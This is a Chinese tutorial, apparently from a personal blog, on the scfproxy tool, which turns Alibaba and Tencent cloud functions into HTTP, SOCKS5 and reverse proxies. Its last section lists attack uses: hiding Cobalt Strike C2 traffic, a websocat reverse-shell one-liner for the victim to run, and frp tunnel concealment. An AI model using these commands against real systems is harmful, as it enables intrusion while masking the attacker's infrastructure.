作者 | 修订时间 |
---|---|
2024-01-12 00:01:36 |
使用云函数做代理
什么是云函数
云函数 (Serverless Cloud Function,SCF) 是腾讯云为企业和开发者们提供的无服务器执行环境。无服务器并非真的没有服务器,而是说用户无需购买服务器,无需关心服务器 CPU、内存、网络配置、资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等,也就是说不用专门安排人力 做这些,只需专注于代码编写并上传即可。很大程度上降低了研发门槛,提升业务构建效率
基于的工具
HTTP 代理
原理和实现
这是最为简单的利用方式。主要原理在于:
- 云函数可利用 API 网关触发器进行触发,接受来自客户端的数据
- 可以对外发包,类似于一个 SSRF
因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。
流程如图所示:
部署
scfproxy deploy http -p provider_list -r region_list
provider_list
与 region_list
传入的参数列表以 ,
分隔。
region_list
支持如下 4 种形式(在所有 deploy
及 clear
命令上都支持)
*
表示所有区域area-*
表示该 area 区域支持的所有地区are-num
表示该 area 区域支持的前num
个地区(代码硬编码顺序返回)- 标准形式,即云厂商所提供的标准 region 形式
对于提供多个 provider
的情况下,将对每个 provider
进行上述 region
形式的解析与查找,不存在的 region
将被忽略
例子:
scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai
通过 scfproxy list -p alibaba,tencent
可以查看到所有的 region,上面这条命令的执行结果为
- 在
alibaba
上部署ap-northeast-1
,eu-central-1
,eu-west-1
,cn-shanghai
区域的 http 代理 - 在
tencent
上部署ap-beijing
区域的 http 代理
运行
scfproxy http -l port [-c cert_path] [-k key_path]
首次运行会在 ~/.confg/scfproxy/cert
目录生成 scfproxy.cer
及 scfproxy.key
证书,需要将其导入系统证书并信任才可以代理 https 请求。
清理
scfproxy clear http -p provider_list -r region_list [--completely]
清理功能默认只会删除触发器,如需同时删除函数,需添加 -e/--completely
参数
例子
本次案例使用的是阿里云
获取key
首次运行
配置 云的key,这里演示的是阿里云
scfproxy && vim /root/.config/scfproxy/sdk.toml
部署 http api
./scfproxy deploy http -p alibaba -r eu-*
查看部署是否成功
./scfproxy list http
运行
./scfproxy http -l 0.0.0.0:1234
注意:若有自己常用的证书可以指定证书路径
./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key
安装证书
双击证书 -> 安装证书
验证
配置SwitchyOmega
清理
./scfproxy list http
./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely
./scfproxy list http
SOCKS5 代理
原理和实现
正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。
SOCKS5主要分为下面3个步骤:
1.认证:对客户端发起的连接进行认证
2.建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接
3.转发数据:分别将来自客户端、服务器的数据转发给对方
使用云函数建立连接的方式,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发 起连接,为了让云函数发起连接,我们需要主动对云函数的API网关发起请求,触发云函数的执行,并将 目标服务器信息附在POST数据包中。相关的流程图如下
部署
scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]
-a address
用于指定云函数回连的 vps 地址
-k key
用于连接后进行验证
--auth [user:pass]
用于指定 socks 认证信息,默认无认证
运行
scfproxy socks -l socks_port -s scf_port -k key
-l socks_port
监听 socks_port,等待用户的 socks5 连接
-s scf_port
监听 scf_port,等待来自云函数的连接,需要部署命令中 address
参数的端口一致
-k key
用于验证,需与部署命令中的 key
对应
清理
scfproxy clear socks -p provider_list -r region_list [--completely]
因为 socks
代理创建的为 1m 的定时触发器,且函数超时时间较长为避免不必要的浪费,建议在监听到来自云函数的连接后清理触发器,在使用完毕后使用 -e
参数彻底清理函数。
例子
获取key
首次运行
配置 云的key,这里演示的是阿里云
scfproxy && vim /root/.config/scfproxy/sdk.toml
部署 socks api
# 有点慢,耐心等一分钟
./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345
验证是否创建成功
./scfproxy list socks
运行
./scfproxy socks -l 1234 -s 12345 -k abc12345
安装证书
双击证书 -> 安装证书
验证
配置SwitchyOmega
清理
./scfproxy list socks
./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely
./scfproxy list socks
反向代理
部署
scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]
-o origin
用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。
--ip ip_list
用于限制访问来源,只有 ip_list
中的 ip 才能访问部署返回的反向代理网关地址。
使用场景
基于反向代理可有如下使用方法,
C2 隐藏
以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host
scfproxy deploy reverse ... -o http://vps --ip victim
反弹 shell 地址隐藏
借助 websocat 工具可实现反弹 shell 的功能。
scfproxy deploy reverse ... -o ws://vps --ip victim
受害者端执行:
websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib
攻击者 vps 执行:
websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib
内网穿透地址隐藏
该使用场景需要支持 websocket 协议的内网穿透软件。
scfproxy deploy reverse ... -o ws://vps --ip victim
以 frp 代理 SOCKS 为例,客户端配置:
[common]
server_addr = reverse_proxy_domain
server_port = 80
tls_enable = true
protocol = websocket
[plugin_sock5]
type = tcp
remote_port = 8080
plugin = socks5
use_encryption = true
use_compression = true
效果如图
清理
scfproxy clear http -p provider_list -r region_list -o origin
与 HTTP 及 SOCKS 代理不同,反向代理没有 --completely
参数,但需要指定 origin
参数用于定位需要删除的服务